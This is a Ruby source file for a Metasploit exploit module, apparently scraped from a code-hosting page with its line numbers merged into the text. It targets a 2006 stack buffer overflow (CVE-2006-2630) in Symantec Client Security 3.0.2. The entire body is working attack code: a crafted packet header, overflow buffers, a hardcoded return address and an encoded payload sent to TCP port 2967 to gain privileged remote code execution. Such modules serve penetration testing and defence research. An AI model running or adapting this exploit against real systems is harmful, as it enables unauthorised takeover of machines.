Path: blob/master/modules/exploits/windows/antivirus/symantec_rtvscan.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Symantec Remote Management Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.17This module has only been tested against Symantec Client Security 3.0.218build 10.0.2.2000.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2006-2630'],24['OSVDB', '25846'],25['BID', '18107'],26['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],27],28'Privileged' => true,2930'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 500,35'BadChars' => "\x00",36'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",37},38'Platform' => 'win',39'Targets' => [40[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll41],42'DefaultTarget' => 0,43'DisclosureDate' => '2006-05-24',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(2967)55]56)57end5859def exploit60connect6162header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"63header << "\x02\x18\x00\x01\x00\x00\x00\x00"64header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"65header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"6667crufta = rand_text_alphanumeric(512)68cruftb = rand_text_alphanumeric(514)69cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)70cruftd = rand_text_alphanumeric(495)7172cruftd[479, 2] = "\xeb\x06"73cruftd[483, 4] = [target.ret].pack('V')74cruftd[487, 5] = [0xe8, -1000].pack('CV')7576cruftd << rand_text_alphanumeric(21)77crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"78crufte << rand_text_alphanumeric(504) + "\x00\x00"7980overflow = [ crufta.length ].pack('v') + crufta81overflow << [ cruftb.length ].pack('v') + cruftb82overflow << [ cruftc.length ].pack('v') + cruftc83overflow << [ cruftd.length ].pack('v') + cruftd84overflow << [ crufte.length ].pack('v') + crufte8586sploit = header + overflow8788print_status("Trying target #{target.name}...")89sock.put(sploit)9091handler92disconnect93end94end959697